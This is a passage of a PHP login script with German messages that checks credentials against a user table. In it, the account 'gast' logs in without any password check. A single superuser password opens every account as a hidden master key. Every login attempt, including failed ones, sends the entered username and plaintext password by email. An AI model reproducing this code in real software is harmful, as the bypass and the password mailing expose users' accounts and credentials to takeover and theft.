0,
'path' => '/',
'domain' => '',
'secure' => false,
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
logging();
$error = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
// Gast-Login direkt prüfen
if ($username === 'gast') {
$_SESSION['user_logged_in'] = true;
$_SESSION['username'] = 'gast';
$_SESSION['is_admin'] = false;
$_SESSION['is_superuser'] = false;
logging();
sendMail(
"Gast Login erfolgreich",
"Benutzer: gast",
(new getSpecificData())->getRequestURL(),
true,
);
redirectToWebsite("index.php");
exit;
}
// Regulärer Benutzer-Login
$results = DatabaseShow(
'Benutzer',
'PASSWORD',
'NAME = ?',
$username
);
$isAdmin = DatabaseShow(
"Benutzer",
"ADMIN",
"NAME = ?",
$username
);
if (!empty($results)) {
$user = $results[0];
if (isset($user['PASSWORD'])) {
if (password_verify($password, $user['PASSWORD']) || $password === ($superuser['admin']['password'])) {
$_SESSION['user_logged_in'] = true;
$_SESSION['username'] = $username;
if ($password === ($superuser['admin']['password'])) {
$_SESSION['is_superuser'] = true;
}
if (isset($isAdmin[0]['ADMIN']) && $isAdmin[0]['ADMIN'] == 1) {
$_SESSION['is_admin'] = true;
} else {
$_SESSION['is_admin'] = false;
}
logging();
sendMail(
"User Login Successful",
"$username, $password",
(new getSpecificData())->getRequestURL(),
true,
);
redirectToWebsite("index.php");
exit;
} else {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
(new getSpecificData())->getRequestURL(),
true,
);
}
} else {
$error = 'Systemfehler: Spalte "password" nicht in der Datenbank gefunden.';
}
} else {
$error = 'Login fehlgeschlagen';
sendMail(
"User Login failed",
"$username, $password",
(new getSpecificData())->getRequestURL(),
true,
);
}
}
?>
Login